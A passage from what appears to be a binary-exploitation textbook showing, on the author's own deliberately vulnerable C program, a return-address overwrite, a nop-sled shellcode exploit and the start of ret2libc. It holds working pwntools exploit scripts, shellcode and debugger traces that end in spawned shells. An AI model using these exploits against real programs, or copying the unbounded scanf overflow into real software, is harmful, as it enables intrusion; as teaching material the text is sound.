*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x400782  and    eax, 0x73 /* '%s' */
*RSI  0x7fffffffde68  0x0
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RSP  0x7fffffffde60  0x0
*RIP  0x400652 (main+73)  call   0x4004c0
[DISASM]
   0x40063d <main+52>    lea    rax, [rbp - 0x50]
   0x400641 <main+56>    add    rax, 8
   0x400645 <main+60>    mov    rsi, rax
   0x400648 <main+63>    mov    edi, 0x400782
   0x40064d <main+68>    mov    eax, 0
  0x400652 <main+73>    call   __isoc99_scanf@plt            <0x4004c0>
        format: 0x400782  0x1b01000000007325 /* '%s' */
        vararg: 0x7fffffffde68  0x0

   0x400657 <main+78>    mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>    test   rax, rax
   0x40065e <main+85>    jne    main+94                       <0x400667>

   0x400660 <main+87>    call   empty                         <0x4005d6>

   0x400665 <main+92>    jmp    main+120                      <0x400681>
[STACK]
00:0000 rsp  0x7fffffffde60  0x0
...
[BACKTRACE]
```

```
  f 0           400652 main+73
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+73
pwndbg> dq 0x7fffffffde68 12
00007fffffffde68     0000000000000000 0000000000000000
00007fffffffde78     0000000000000000 0000000000000000
00007fffffffde88     0000000000000000 0000000000000000
00007fffffffde98     0000000000000000 0000000000000000
00007fffffffdea8     0000000000000000 0000000000400690
00007fffffffdeb8     00007ffff7a2d830 0000000000000000
pwndbg> ni
0x0000000000400657 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x1
 RBX  0x0
*RCX  0xa
*RDX  0x7ffff7dd3790 (_IO_stdfile_0_lock)  0x0
*RDI  0x7fffffffd940  0x1
*RSI  0x1
*R8   0x0
*R9   0x7ffff7fce700  0x7ffff7fce700
*R10  0x400782  and    eax, 0x73 /* '%s' */
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdeb0  0x4141414141414141 ('AAAAAAAA')
 RSP  0x7fffffffde60  0x0
*RIP  0x400657 (main+78)  mov    rax, qword ptr [rbp - 0x50]
[DISASM]
   0x400641 <main+56>     add    rax, 8
   0x400645 <main+60>     mov    rsi, rax
   0x400648 <main+63>     mov    edi, 0x400782
   0x40064d <main+68>     mov    eax, 0
   0x400652 <main+73>     call   __isoc99_scanf@plt            <0x4004c0>

  0x400657 <main+78>     mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>     test   rax, rax
   0x40065e <main+85>     jne    main+94                       <0x400667>

   0x400660 <main+87>     call   empty                         <0x4005d6>

   0x400665 <main+92>     jmp    main+120                      <0x400681>

   0x400681 <main+120>    mov    eax, 0
[STACK]
00:0000 rsp  0x7fffffffde60  0x0
01:0008      0x7fffffffde68  0x4141414141414141 ('AAAAAAAA')
...
[BACKTRACE]
```

```
  f 0           400657 main+78
   f 1           4005e7 win
   f 2                0
pwndbg> dq 0x7fffffffde68 12
00007fffffffde68     4141414141414141 4141414141414141
00007fffffffde78     4141414141414141 4141414141414141
00007fffffffde88     4141414141414141 4141414141414141
00007fffffffde98     4141414141414141 4141414141414141
00007fffffffdea8     4141414141414141 4141414141414141
00007fffffffdeb8     00000000004005e7 0000000000000000
pwndbg> pdisass main 13
  0x400609 <main>        push   rbp
   0x40060a <main+1>      mov    rbp, rsp
   0x40060d <main+4>      sub    rsp, 0x50
   0x400611 <main+8>      lea    rax, [rbp - 0x50]
   0x400615 <main+12>     add    rax, 8
   0x400619 <main+16>     mov    edx, 0x40
   0x40061e <main+21>     mov    esi, 0
   0x400623 <main+26>     mov    rdi, rax
   0x400626 <main+29>     call   memset@plt                    <0x4004a0>

   0x40062b <main+34>     mov    qword ptr [rbp - 0x50], 0
   0x400633 <main+42>     mov    edi, 0x40076e
   0x400638 <main+47>     call   puts@plt                      <0x400490>

   0x40063d <main+52>     lea    rax, [rbp - 0x50]
   0x400641 <main+56>     add    rax, 8
   0x400645 <main+60>     mov    rsi, rax
   0x400648 <main+63>     mov    edi, 0x400782
   0x40064d <main+68>     mov    eax, 0
   0x400652 <main+73>     call   __isoc99_scanf@plt            <0x4004c0>

   0x400657 <main+78>     mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>     test   rax, rax
   0x40065e <main+85>     jne    main+94                       <0x400667>

   0x400660 <main+87>     call   empty                         <0x4005d6>

   0x400665 <main+92>     jmp    main+120                      <0x400681>

   0x400681 <main+120>    mov    eax, 0
   0x400686 <main+125>    leave
   0x400687 <main+126>    ret

   0x400688               nop    dword ptr [rax + rax]
pwndbg> b *main+126
Breakpoint 3 at 0x400687
pwndbg> c
Continuing.
You don't have permission to perform this action.

Breakpoint 3, 0x0000000000400687 in main ()
```

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x1
*RSI  0x602010  0x276e6f6420756f59 ("You don’")
*R8   0x2e6e6f6974636120 (’ action.’)
*R9   0x6f697373696d7265 (’ermissio’)
*R10  0x726570206f74206e (’n to per’)
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
*RBP  0x4141414141414141 (’AAAAAAAA’)
*RSP  0x7fffffffdeb8  0x4005e7 (win)  push   rbp
*RIP  0x400687 (main+126)  ret
[DISASM]
   0x40065e <main+85>     jne    main+94                      <0x400667>

   0x400660 <main+87>     call   empty                        <0x4005d6>

   0x400665 <main+92>     jmp    main+120                     <0x400681>

   0x400681 <main+120>    mov    eax, 0
   0x400686 <main+125>    leave
  0x400687 <main+126>    ret                                 <0x4005e7; win>

   0x4005e7 <win>         push   rbp
   0x4005e8 <win+1>       mov    rbp, rsp
   0x4005eb <win+4>       mov    edi, 0x40074a
   0x4005f0 <win+9>       call   puts@plt                     <0x400490>

   0x4005f5 <win+14>      nop
[STACK]
00:0000 rsp  0x7fffffffdeb8  0x4005e7 (win)  push   rbp
01:0008      0x7fffffffdec0  0x0
02:0010      0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f
    (’/home/de’)
03:0018      0x7fffffffded0  0x100000000
04:0020      0x7fffffffded8  0x400609 (main)  push   rbp
05:0028      0x7fffffffdee0  0x0
06:0030      0x7fffffffdee8  0x7c6654f0a1383abe
07:0038      0x7fffffffdef0  0x4004e0 (_start)  xor    ebp, ebp
[BACKTRACE]
  f 0           400687 main+126
   f 1           4005e7 win
   f 2                0
Breakpoint *main+126
pwndbg> ni
```

```
0x00000000004005e7 in win ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
 RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
 RDI  0x1
 RSI  0x602010  0x276e6f6420756f59 ("You don’")
 R8   0x2e6e6f6974636120 (’ action.’)
 R9   0x6f697373696d7265 (’ermissio’)
 R10  0x726570206f74206e (’n to per’)
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x4141414141414141 (’AAAAAAAA’)
*RSP  0x7fffffffdec0  0x0
*RIP  0x4005e7 (win)  push   rbp
[DISASM]
   0x400660 <main+87>     call   empty                          <0x4005d6>

   0x400665 <main+92>     jmp    main+120                       <0x400681>

   0x400681 <main+120>    mov    eax, 0
   0x400686 <main+125>    leave
   0x400687 <main+126>    ret

  0x4005e7 <win>         push   rbp
   0x4005e8 <win+1>       mov    rbp, rsp
   0x4005eb <win+4>       mov    edi, 0x40074a
   0x4005f0 <win+9>       call   puts@plt                       <0x400490>

   0x4005f5 <win+14>      nop
   0x4005f6 <win+15>      pop    rbp
[STACK]
00:0000 rsp  0x7fffffffdec0  0x0
01:0008      0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f
    (’/home/de’)
02:0010      0x7fffffffded0  0x100000000
03:0018      0x7fffffffded8  0x400609 (main)  push   rbp
04:0020      0x7fffffffdee0  0x0
05:0028      0x7fffffffdee8  0x7c6654f0a1383abe
06:0030      0x7fffffffdef0  0x4004e0 (_start)  xor    ebp, ebp
07:0038      0x7fffffffdef8  0x7fffffffdf90  0x1
[BACKTRACE]
  f 0           4005e7 win
   f 1                 0
pwndbg> c
Continuing.
Access granted.
```

```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x10
 RBX  0x0
 RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
 RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
 RDI  0x1
 RSI  0x602010  0x6720737365636341 ('Access g')
*R8   0x7ffff7fce700  0x7ffff7fce700
 R9   0x6f697373696d7265 ('ermissio')
 R10  0x726570206f74206e ('n to per')
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f ('/home
    /de')
*RIP  0x0
[DISASM]
Invalid address 0x0
```

```
[STACK]
00:0000 rsp  0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f
    ('/home/de')
01:0008      0x7fffffffded0  0x100000000
02:0010      0x7fffffffded8  0x400609 (main)  push   rbp
03:0018      0x7fffffffdee0  0x0
04:0020      0x7fffffffdee8  0x7c6654f0a1383abe
05:0028      0x7fffffffdef0  0x4004e0 (_start)  xor    ebp, ebp
06:0030      0x7fffffffdef8  0x7fffffffdf90  0x1
07:0038      0x7fffffffdf00  0x0
[BACKTRACE]
  f 0                0
   f 1     7fffffffdf98
   f 2        100000000
   f 3           400609 main
   f 4                0
Program received signal SIGSEGV (fault address 0x0)
```

```
pwndbg>
```

As expected, we were able to successfully overwrite the return address with the address of `win()`. This caused `win()` to execute after the program returned from `main()`. Verify that this works outside of `gdb` as well.

```
> python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\x00'" | ./
    ret_overwrite
Enter the password:
You don't have permission to perform this action.
Access granted.
Segmentation fault
>
```

You'll notice that the program crashes after returning from `win()`. This is because `win()` expects a return address on top of the stack when it is called, but when we call it only a null pointer is there. If we were to put a valid address there, say the address of `lose()`, the instructions at that address would be called after the program returns from `win()`.

```
> readelf --symbols ./ret_overwrite | grep lose
    51: 00000000004005f8    17 FUNC    GLOBAL DEFAULT   14 lose
> python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\x00' + '\xf8\x05\x40
    \x00\x00\x00\x00\x00'" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
Access granted.
Invalid auth token.
Segmentation fault
>
```

We can do this as many times as we want. The more valid return addresses we write to the stack, the more functions will be called after we exit from `main()`. Note however that the base pointer was clobbered during the overflow, so any functions (such as `main()`) that use it to access local variables will almost certainly crash.

```
> python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\x00' * 10" | ./
    ret_overwrite
Enter the password:
You don't have permission to perform this action.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Access granted.
Segmentation fault
> readelf --symbols ./ret_overwrite | grep main
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND
        __libc_start_main@GLIBC_2.2.5 (2)
    55: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND
        __libc_start_main@@GLIBC_
```

```
    66: 0000000000400609   127 FUNC    GLOBAL DEFAULT   14 main
> python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\x00' + '\x09\x06\x40
    \x00\x00\x00\x00\x00'" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
Access granted.
Segmentation fault
```

An implementation of this solution in `pwntools` is below. This solution uses the ELF module `pwntools` in order to find the location of `win()` programmatically.

```
#!/usr/bin/python
from pwn import *

e = ELF("./ret_overwrite")
win_address = e.symbols["win"]

p = process("./ret_overwrite")
p.sendline("A" * 80 + p64(win_address))
print p.recv()
>
```

When run, the program calls `win()` as desired.

```
> ./ret_overwrite_solution.py
[*] '/home/devneal/Security/REFE/textbook/example_code/ret_overwrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './ret_overwrite': pid 19694
Enter the password:
You don't have permission to perform this action.
Access granted.

[*] Stopped process './ret_overwrite' (pid 19694)
>
```

4.2 Shellcoding

Although overwriting the return address gives us great control over a program, we are still limited to executing commands which are already contained in the binary. Shellcoding will allow us to escape this limitation and execute arbitrary commands after launching our exploit. The idea is include instructions to spawn a shell in our input, then overwrite the return address with the location where those instructions are written. This idea is conceptually simple, but there are a few details which introduce some complexity.

1. We must know the address where our input will be written ahead of time *outside* of `gdb`
2. We must acquire machine code to spawn a shell

We'll use `ret_overwrite.c` again for this example, but we have to compile it with an additional flag: `-z execstack`. The source is reproduced below.

```
#include <stdio.h>
#include <string.h>

void empty(void) {
    printf("You don’t have permission to perform this action.\n");
}

void win(void) {
    printf("Access granted.\n");
}

void lose(void) {
    printf("Invalid auth token.\n");
}

typedef struct auth {
    long int token;
    char buf[64];
} auth;

int main(void) {
    auth a;
    memset(a.buf, 0, 64);
    a.token = 0;

    printf("Enter the password:\n");
    scanf("%s", a.buf);

    if (a.token == 0) {
        empty();
    } else if (a.token == 0xdeadbeef) {
        win();
    } else {
        lose();
    }
}
```

Recall from the previous section that the return address is located 80 characters after the buffer where our input is written. This means we have 80 characters to write our machine code, which we will follow with the address of `buf`. We can use `gdb` to *approximately* find `buf`'s address, but since `gdb` adds some environment variables when debugging a program the addresses it reports will be lower than those during normal execution. Unfortunately, it is difficult to accurately predict how much `gdb` will undershoot the addresses. Fortunately, there is a way to deal with this uncertainty. x86 assembly has a `nop` instruction, whose purpose is to do absolutely nothing. If we overflow the buffer with `nop` instructions instead of 'A's, and overwrite the return address with *any* address where a `nop` instruction is written, then the CPU will execute all of the following `nop`s one after another, until it finally executes our shellcode. The string of `nop`s is called a nop sled, and it effectively grants us a margin of error when predicting addresses. This still isn't enough to reliably jump to our shellcode, but it's enough to make it feasible to try several different addresses, each about half the length of our `nop` sled away from each other. Our final exploit will have the form `nop_sled + shellcode + sled_address`, where `sled_address` is a guess of the location of the `nop` sled.

We will craft several of these inputs, each with a different guess, and send the program each of them in turn until one of them grants us a shell.

4.2.1 Crafting with `pwndbg` and `pwntools`

Before we can start writing the exploit, we must first get find the approximate location of `buf` with `gdb`. Let's do it.

```
> gdb shellcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Loaded 113 commands. Type pwndbg [filter] for a list.
Reading symbols from shellcode...(no debugging symbols found)...done.
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000400609 <+0>:     push   rbp
   0x000000000040060a <+1>:     mov    rbp,rsp
   0x000000000040060d <+4>:     sub    rsp,0x50
   0x0000000000400611 <+8>:     lea    rax,[rbp-0x50]
   0x0000000000400615 <+12>:    add    rax,0x8
   0x0000000000400619 <+16>:    mov    edx,0x40
   0x000000000040061e <+21>:    mov    esi,0x0
   0x0000000000400623 <+26>:    mov    rdi,rax
   0x0000000000400626 <+29>:    call   0x4004a0 <memset@plt>
   0x000000000040062b <+34>:    mov    QWORD PTR [rbp-0x50],0x0
   0x0000000000400633 <+42>:    mov    edi,0x40076e
   0x0000000000400638 <+47>:    call   0x400490 <puts@plt>
   0x000000000040063d <+52>:    lea    rax,[rbp-0x50]
   0x0000000000400641 <+56>:    add    rax,0x8
   0x0000000000400645 <+60>:    mov    rsi,rax
   0x0000000000400648 <+63>:    mov    edi,0x400782
   0x000000000040064d <+68>:    mov    eax,0x0
   0x0000000000400652 <+73>:    call   0x4004c0 <__isoc99_scanf@plt>
   0x0000000000400657 <+78>:    mov    rax,QWORD PTR [rbp-0x50]
   0x000000000040065b <+82>:    test   rax,rax
   0x000000000040065e <+85>:    jne    0x400667 <main+94>
   0x0000000000400660 <+87>:    call   0x4005d6 <empty>
   0x0000000000400665 <+92>:    jmp    0x400681 <main+120>
   0x0000000000400667 <+94>:    mov    rdx,QWORD PTR [rbp-0x50]
   0x000000000040066b <+98>:    mov    eax,0xdeadbeef
   0x0000000000400670 <+103>:   cmp    rdx,rax
```

```
   0x0000000000400673 <+106>:   jne    0x40067c <main+115>
   0x0000000000400675 <+108>:   call   0x4005e7 <win>
   0x000000000040067a <+113>:   jmp    0x400681 <main+120>
   0x000000000040067c <+115>:   call   0x4005f8 <lose>
   0x0000000000400681 <+120>:   mov    eax,0x0
   0x0000000000400686 <+125>:   leave
   0x0000000000400687 <+126>:   ret
End of assembler dump.
pwndbg> b *main+73
Breakpoint 1 at 0x400652
pwndbg> r
Starting program: /home/devneal/Security/REFE/textbook/example_code/shellcode
Enter the password:

Breakpoint 1, 0x0000000000400652 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
 RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0
*RDI  0x400782  and    eax, 0x73 /* '%s' */
*RSI  0x7fffffffde88  0x0
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
*R12  0x4004e0 (_start)  xor    ebp, ebp
*R13  0x7fffffffdfb0  0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffded0  0x400690 (__libc_csu_init)  push   r15
*RSP  0x7fffffffde80  0x0
*RIP  0x400652 (main+73)  call   0x4004c0
[DISASM]
  0x400652 <main+73>            call   __isoc99_scanf@plt            <0x4004c0>
        format: 0x400782  0x1b01000000007325 /* '%s' */
        vararg: 0x7fffffffde88  0x0

   0x400657 <main+78>            mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>            test   rax, rax
   0x40065e <main+85>            jne    main+94                       <0x400667>

   0x400660 <main+87>            call   empty                         <0x4005d6>

   0x400665 <main+92>            jmp    main+120                      <0x400681>

   0x400681 <main+120>           mov    eax, 0
   0x400686 <main+125>           leave
   0x400687 <main+126>           ret

   0x400688                      nop    dword ptr [rax + rax]
```

```
   0x400690 <__libc_csu_init>    push   r15
[STACK]
00:0000 rsp  0x7fffffffde80  0x0
...
[BACKTRACE]
  f 0           400652 main+73
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+73
pwndbg> quit
>
```

We can tell from the argument to `scanf()` that `buf` is located at `0x7fffffffde88`. This is the address we'll use to overwrite the return address.

This is all the information we need to write our exploit. Although it may seem to involve a lot of work, it is actually quite simple to automate with `pwntools`. Of particular importance are the `shellcraft` module, which provides functions for generating shellcode, and the `asm` module, which provides utilities for assembling and disassembling code.

```
>>> from pwn import *
>>> context.arch = "amd64"
>>> shellcode = shellcraft.sh()
>>> print shellcode
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

>>> shell = run_assembly(shellcode)
[*] '/tmp/pwn-asm-EIMiA2/step3'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
```

```
[x] Starting local process '/tmp/pwn-asm-EIMiA2/step3'
[+] Starting local process '/tmp/pwn-asm-EIMiA2/step3': pid 22248
>>> shell.interactive()
[*] Switching to interactive mode
whoami
devneal
exit
[*] Got EOF while reading in interactive

[*] Process '/tmp/pwn-asm-EIMiA2/step3' stopped with exit code 0 (pid 22248)
[*] Got EOF while sending in interactive
>>> asm(shellcode)
'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814\$\x01\x01\x01\x011\xf6Vj\x08^H\x01\
    xe6VH\x89\xe61\xd2j;X\x0f\x05'
>>>
```

Both the `shellcraft` and `asm` modules behave differently depending on which architecture is required. We specify the amd64 architecture with `context.arch = "amd64"`. `shellcraft.amd64.sh()` returns some preprepared shellcode. We can test that this (or any other assembly) works by passing it to `run_assembly()` and verify that it spawns a shell. If we pass the shellcode to `asm()`, it will assemble those instructions and return the resulting machine code. This is the machine code we'll use in our exploit.

There is one more detail to be aware of before we can start writing. After we overflow the buffer and the program executes the `ret` instruction at the end of `main()`, the stack pointer will point one machine word below our guessed address. But the shellcode includes seven `push` instructions. This means that if we try to use this exploit naively the shellcode will overwrite itself as it executes, resulting in a crash. To remedy this, we first add 7 machine words worth of space to `rsp` before running the shellcode.

Below is an implementation of the exploit described above.

```
#!/usr/bin/python
from pwn import *
import sys

context.arch   = "amd64"
debug_buf_addr = 0x7fffffffde88
guessing_range = 200

def payload(offset):
    return sled + shellcode + p64(debug_buf_addr + offset)

shellcode = asm("add rsp, 0x38") + asm(shellcraft.sh())
sled = asm("nop") * (80 - len(shellcode))

# use the specified offset if provided
if len(sys.argv) > 1:
    p = process("./shellcode", aslr=False)
    p.sendline(payload(int(sys.argv[1])))
    p.interactive()
    exit(0)

# guess several offsets and store the ones that work
```

```
working_offsets = []
for offset in range(-guessing_range, guessing_range, len(sled) / 2):
    log.info("Trying offset {}".format(offset))
    p = process("./shellcode", aslr=False)
    p.sendline(payload(offset))
    p.readuntil("action.\n")

    # trying sending a shell command and checking the response
    try:
        p.sendline("whoami")
        if p.recv(timeout=0.1) != "":
            log.success("Offset {} works!!!".format(offset))
            working_offsets.append(offset)
    except EOFError:
        pass

if working_offsets:
    # spawn a shell using the average working offset
    avg_offset = sum(working_offsets) / len(working_offsets)
    log.success("Spawning shell with offset {}".format(avg_offset))
    shell = process("./shellcode", aslr=False)
    shell.sendline(payload(avg_offset))
    shell.interactive()
else:
    log.failure("No working offsets found")
```

This exploit gives the following output when run:

```
> ./shellcode_solution.py
[*] Trying offset -200
[+] Starting local process './shellcode': pid 18710
[!] ASLR is disabled!
[*] Trying offset -186
[+] Starting local process './shellcode': pid 18712
[*] Trying offset -172
[+] Starting local process './shellcode': pid 18714
[*] Process './shellcode' stopped with exit code -11 (SIGSEGV) (pid 18714)
[*] Trying offset -158
[+] Starting local process './shellcode': pid 18716
[*] Process './shellcode' stopped with exit code -4 (SIGILL) (pid 18716)
[*] Trying offset -144
[+] Starting local process './shellcode': pid 18718
[*] Trying offset -130
[+] Starting local process './shellcode': pid 18720
[*] Trying offset -116
[+] Starting local process './shellcode': pid 18722
[*] Trying offset -102
[+] Starting local process './shellcode': pid 18724
[*] Trying offset -88
[+] Starting local process './shellcode': pid 18726
[*] Trying offset -74
[+] Starting local process './shellcode': pid 18728
[*] Trying offset -60
```

```
[+] Starting local process './shellcode': pid 18730
[*] Trying offset -46
[+] Starting local process './shellcode': pid 18732
[*] Trying offset -32
[+] Starting local process './shellcode': pid 18734
[*] Trying offset -18
[+] Starting local process './shellcode': pid 18736
[*] Trying offset -4
[+] Starting local process './shellcode': pid 18738
[*] Trying offset 10
[+] Starting local process './shellcode': pid 18740
[*] Trying offset 24
[+] Starting local process './shellcode': pid 18742
[*] Trying offset 38
[+] Starting local process './shellcode': pid 18744
[*] Trying offset 52
[+] Starting local process './shellcode': pid 18746
[+] Offset 52 works!!!
[*] Trying offset 66
[+] Starting local process './shellcode': pid 18749
[+] Offset 66 works!!!
[*] Trying offset 80
[+] Starting local process './shellcode': pid 18752
[*] Trying offset 94
[+] Starting local process './shellcode': pid 18754
[*] Trying offset 108
[+] Starting local process './shellcode': pid 18756
[*] Trying offset 122
[+] Starting local process './shellcode': pid 18758
[*] Trying offset 136
[+] Starting local process './shellcode': pid 18760
[*] Trying offset 150
[+] Starting local process './shellcode': pid 18762
[*] Trying offset 164
[+] Starting local process './shellcode': pid 18764
[*] Trying offset 178
[+] Starting local process './shellcode': pid 18766
[*] Trying offset 192
[+] Starting local process './shellcode': pid 18768
[+] Spawning shell with offset 73
[+] Starting local process './shellcode': pid 18770
[*] Switching to interactive mode
Enter the password:
You don't have permission to perform this action.
$ whoami
devneal
$
```

As expected, the program spawns a shell. This is a remarkable result when you think about it. Starting from a program which does nothing but read input, check it, and print output, we have achieved arbitrary code execution!

We managed to get a shell, but this is a pretty useless exploit in practice. Let us count the ways:

1. The program must be compiled with `-fno-stack-protector`
2. The program must be compiled with `-z execstack`
3. The system must have no ASLR
4. It requires several guesses
5. The range of guesses can be arbitrarily large

The last point is due to the fact that the program can be run with arbitrarily many environment variables. One way to see this work is to run `/bin/bash` from within itself.

```
> ./shellcode_solution.py
<truncated>
[+] Spawning shell with offset 73
[+] Starting local process './shellcode': pid 1083
[*] Switching to interactive mode
Enter the password:
You don't have permission to perform this action.
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './shellcode' stopped with exit code 0 (pid 1083)
[*] Got EOF while sending in interactive

> /bin/bash
> ./shellcode_solution.py
<truncated>
[+] Spawning shell with offset -81
[+] Starting local process './shellcode': pid 3080
[*] Switching to interactive mode
Enter the password:
You don't have permission to perform this action.
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './shellcode' stopped with exit code 0 (pid 3080)
[*] Got EOF while sending in interactive

> /bin/bash
> ./shellcode_solution.py
<truncated>
[+] Starting local process './shellcode': pid 4402
[-] No working offsets found
>
```

We generally have no information about a running process's environment when attempting to exploit it. Of course this wouldn't be a problem if we could somehow *leak* an address from the program, but then there are better ways to get a shell.

4.3 DEP, ROP, and ret2libc

As was mentioned at the end of the previous section, programs are typically compiled with an NX bit, signifying that their stack and heap segments are not executable. You can verify this with the checksec utility (included with pwntools) or by running readelf --segments on a binary and checking the flags on the GNU_STACK header. More generally, programs are compiled by default with write-xor-execute (W$\wedge$X) security, meaning that no section of memory is both writable and executable. If you think about this for a while, you'll realize this means that you can never write machine instructions to memory and hope to later execute them. This effectively defeats shellcode exploits.

But this doesn't mean the end for stack based exploits. Even though we can't execute artificial malicious instructions, we *can* execute the naturally occurring instructions in malicious ways. The idea is that rather than returning to code we control on the stack, we instead return to code that we *don't* control - anywhere else in the program. While this may seem to greatly diminish our control, it turns out in many cases to be just as dangerous as executing shellcode.

When a C program wants to execute library functions, it must first load or "map" that library into memory. And even if only one function is desired, the entire library is mapped. That means there are thousands of necessarily executable instructions just lying around in memory. And even though we didn't write any of them ourselves, we can still use them to take control of a program. Take system() for example. system() simply executes the string it is given as an argument. It's also part of libc, which means it's included in any dynamically linked program that uses libc functions. And if we can call it with the right argument, say "/bin/sh", we can get a shell even if DEP is being used.

Take a look at the following program which is a slight modification of ret_overwrite.c.

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void empty(void) {
    system("echo You don\\'t have permission to perform this action.");
}

void win(void) {
    system("echo Access granted.");
}

void lose(void) {
    system("echo Invalid auth token.");
}

typedef struct auth {
    long int token;
    char buf[64];
} auth;

int main(void) {
    auth a;
    memset(a.buf, 0, 64);
    a.token = 0;

    system("echo Enter the password:");
    scanf("%s", a.buf);

    if (a.token == 0) {
```

```
        empty();
    } else if (a.token == 0xdeadbeef) {
        win();
    } else {
        lose();
    }
}
```

This program was compiled with `gcc -o ret2libc ret2libc.c -fno-stack-protector -static`. The only difference between this program and `ret_overwrite.c` is that this one uses `system()` to print output rather than `printf()`. Our plan is to make this program spawn a shell by calling `system("/bin/sh")`. Since this binary is statically linked, `system()` is located somewhere in the binary. `system()` contains "/bin/sh" in its code, so that string is within the binary as well. Since the binary is statically linked, the locations of `system()` and "/bin/sh" will always be the same, regardless of aslr. Things are shaping up pretty well for another exploit.

It'd be easy enough to overwrite the return address with `system()`'s address, but we must first specify its argument, a string to be executed. Since we're working with x86-64, this argument must be written to `rdi` before we return to `system()`. We will acheive this by using a "pop pop ret gadget". Rather than placing only the location of `system()` at the end of our input, we will instead include three consecutive addresses:

1. Any location in memory containing `pop rdi` followed by `ret`
2. The location of "/bin/sh"
3. The location of `system()`

